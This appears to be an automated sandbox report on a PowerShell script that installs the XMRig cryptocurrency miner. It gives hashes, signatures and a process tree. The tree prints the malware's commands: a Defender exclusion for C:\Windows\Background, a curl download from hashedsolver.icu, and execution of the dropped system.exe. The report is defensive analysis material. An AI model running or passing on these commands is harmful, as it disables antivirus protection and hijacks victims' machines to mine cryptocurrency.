xmrig | d29822374fc9917a875ceb6b9c011a6a6cf97db56848c0b26664ab69c9533a8a

Analysis

max time kernel
149s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/09/2026, 13:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
update1.ps1
Size 7KB
Sample260916-qlrlpsyyas
SHA256 d29822374fc9917a875ceb6b9c011a6a6cf97db56848c0b26664ab69c9533a8a
MD5 5d8d385edaeb71b716ba6d318b7dc9d5
SHA1 c02c52793b9b536b85e0215513e03216aadd61b3
SHA512 989b568eddf8a57671d1b6e0dc8813cba229652dc95c8f12e36c7bccf4dd84275ca4b1aed4b2a5fbd7703b04276f3eb6b6bbf78fd7b9f37b121a217f7de990b8
SSDEEP 192:7BTRw4Qdp3KcA7y4LOvmwkEfzwluk2U4NcLLcOMaXrlZpgy:lTRw4QdpvAKvnf83ScLAOMaXiy
TLSH
T1F1F1D8693FA66C1847C300A7A96D74D59710466720A42DB0BA9EE8F47F097F0E27F380
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution xmrig miner

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000d00000001c4c4-38.dat	family_xmrig
behavioral2/files/0x000d00000001c4c4-38.dat	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5640	PowerShell.exe
3800	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
2	1652	curl.exe

Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Executes dropped EXE 1 IoCs

pid	Process
5680	system.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Background\system.txt	curl.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5640	PowerShell.exe
5640	PowerShell.exe
3800	powershell.exe
3800	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5640	PowerShell.exe
Token: SeDebugPrivilege	3800	powershell.exe
Token: SeIncreaseQuotaPrivilege	3800	powershell.exe
Token: SeSecurityPrivilege	3800	powershell.exe
Token: SeTakeOwnershipPrivilege	3800	powershell.exe
Token: SeLoadDriverPrivilege	3800	powershell.exe
Token: SeSystemProfilePrivilege	3800	powershell.exe
Token: SeSystemtimePrivilege	3800	powershell.exe
Token: SeProfSingleProcessPrivilege	3800	powershell.exe
Token: SeIncBasePriorityPrivilege	3800	powershell.exe
Token: SeCreatePagefilePrivilege	3800	powershell.exe
Token: SeBackupPrivilege	3800	powershell.exe
Token: SeRestorePrivilege	3800	powershell.exe
Token: SeShutdownPrivilege	3800	powershell.exe
Token: SeDebugPrivilege	3800	powershell.exe
Token: SeSystemEnvironmentPrivilege	3800	powershell.exe
Token: SeRemoteShutdownPrivilege	3800	powershell.exe
Token: SeUndockPrivilege	3800	powershell.exe
Token: SeManageVolumePrivilege	3800	powershell.exe
Token: 33	3800	powershell.exe
Token: 34	3800	powershell.exe
Token: 35	3800	powershell.exe
Token: 36	3800	powershell.exe
Token: SeLockMemoryPrivilege	5680	system.exe
Token: SeLockMemoryPrivilege	5680	system.exe
Token: SeIncreaseQuotaPrivilege	5640	PowerShell.exe
Token: SeSecurityPrivilege	5640	PowerShell.exe
Token: SeTakeOwnershipPrivilege	5640	PowerShell.exe
Token: SeLoadDriverPrivilege	5640	PowerShell.exe
Token: SeSystemProfilePrivilege	5640	PowerShell.exe
Token: SeSystemtimePrivilege	5640	PowerShell.exe
Token: SeProfSingleProcessPrivilege	5640	PowerShell.exe
Token: SeIncBasePriorityPrivilege	5640	PowerShell.exe
Token: SeCreatePagefilePrivilege	5640	PowerShell.exe
Token: SeBackupPrivilege	5640	PowerShell.exe
Token: SeRestorePrivilege	5640	PowerShell.exe
Token: SeShutdownPrivilege	5640	PowerShell.exe
Token: SeDebugPrivilege	5640	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	5640	PowerShell.exe
Token: SeRemoteShutdownPrivilege	5640	PowerShell.exe
Token: SeUndockPrivilege	5640	PowerShell.exe
Token: SeManageVolumePrivilege	5640	PowerShell.exe
Token: 33	5640	PowerShell.exe
Token: 34	5640	PowerShell.exe
Token: 35	5640	PowerShell.exe
Token: 36	5640	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	5640	PowerShell.exe
Token: SeSecurityPrivilege	5640	PowerShell.exe
Token: SeTakeOwnershipPrivilege	5640	PowerShell.exe
Token: SeLoadDriverPrivilege	5640	PowerShell.exe
Token: SeSystemProfilePrivilege	5640	PowerShell.exe
Token: SeSystemtimePrivilege	5640	PowerShell.exe
Token: SeProfSingleProcessPrivilege	5640	PowerShell.exe
Token: SeIncBasePriorityPrivilege	5640	PowerShell.exe
Token: SeCreatePagefilePrivilege	5640	PowerShell.exe
Token: SeBackupPrivilege	5640	PowerShell.exe
Token: SeRestorePrivilege	5640	PowerShell.exe
Token: SeShutdownPrivilege	5640	PowerShell.exe
Token: SeDebugPrivilege	5640	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	5640	PowerShell.exe
Token: SeRemoteShutdownPrivilege	5640	PowerShell.exe
Token: SeUndockPrivilege	5640	PowerShell.exe
Token: SeManageVolumePrivilege	5640	PowerShell.exe
Token: 33	5640	PowerShell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5680	system.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5640 wrote to memory of 3800	5640	PowerShell.exe	89
PID 5640 wrote to memory of 1652	5640	PowerShell.exe	92
PID 5640 wrote to memory of 5680	5640	PowerShell.exe	93

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	2	curl/8.8.0

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\update1.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Background'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3800
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -s -o C:\Windows\Background\system.txt https://hashedsolver.icu:443/tmp/system.txt
  2⤵
  - Downloads MZ/PE file
  - Drops file in Windows directory
  PID:1652
- C:\Windows\Background\system.exe
  "C:\Windows\Background\system.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:5680

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 041746a740e74588ecb22852fba3a652699f76f6b818d8b0ce62167418f7ef41
MD5 394f14b70fc28db6018b6676ab71f0e1
SHA1 5a0e165658982be0f2e6b58a04dd3683714e063d
SHA512 cff7ed385cb6dbc262b6fc49175b2a841d4a2292d3c302a7c682b6b17466ed3d5536e76d3203870a38dfe5eea7c522b7db53b08a8762caec11f37296658ac2ad
TLSH
T143216833B3DD8614CC9A413A10CDAC1036B687DB40DECFAB7B84E655A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_oxyie5xv.ebd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oxyie5xv.ebd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

system.txt

Path C:\Windows\Background\system.txt
Size 6.2MB
SHA256 d6fa575ce6f17b9d8a8c73523844b91238a0b69b4a3bfee6c6a91fb0427e17fe
MD5 4dcbbbf677ce05e82a472d780edec1a0
SHA1 40b12ef4abf6a5e7a4730703bf74c3e55fe48fa6
SHA512 3f3d4f8cabcaff1d931dff80b64515d0d5d81d30ffa899817d349a60d067eefa4ca27512739be676c72c1864e7c35e220cd6294ecef7432dcbe5e98a550f8280
SSDEEP 98304:Te3Xi3Zl6vqc5zrC1UVnev7irsSjP9BijrknXxdMaCQRaWnJZ6Q4TAHLwyrhhBBI:6dMaMqJcQ4Te9hhBKeOIG
TLSH
T1E0669D5AB7E400E8C86AC17CC6569613E7B2B8195370EBDB17B456A91F23BD10F3EB10
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3800-23-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/3800-35-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/3800-24-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/3800-30-0x0000016C1CCC9000-0x0000016C1CCCF000-memory.dmp

Download

memory/3800-29-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/3800-27-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/3800-15-0x0000016C35120000-0x0000016C3513E000-memory.dmp

Download

memory/3800-16-0x0000016C35140000-0x0000016C351F2000-memory.dmp

Download

memory/3800-18-0x0000016C34D90000-0x0000016C34D9A000-memory.dmp

Download

memory/3800-25-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/3800-26-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/3800-19-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/3800-20-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/3800-21-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/3800-22-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/5640-0-0x00007FF9C019F000-0x00007FF9C01A0000-memory.dmp

Download

memory/5640-7-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/5640-17-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/5640-36-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/5640-12-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/5640-9-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/5640-8-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/5640-33-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/5640-6-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/5640-31-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/5640-5-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/5640-34-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/5640-4-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/5640-48-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/5640-43-0x00000243C27F0000-0x00000243C28A2000-memory.dmp

Download

memory/5640-44-0x00000243C2A20000-0x00000243C2A3E000-memory.dmp

Download

memory/5640-45-0x00007FF9C0010000-0x00007FF9C09B4000-memory.dmp

Download

memory/5640-3-0x00000243A9E40000-0x00000243A9E62000-memory.dmp

Download

memory/5680-40-0x000001D951CD0000-0x000001D951CF0000-memory.dmp

Download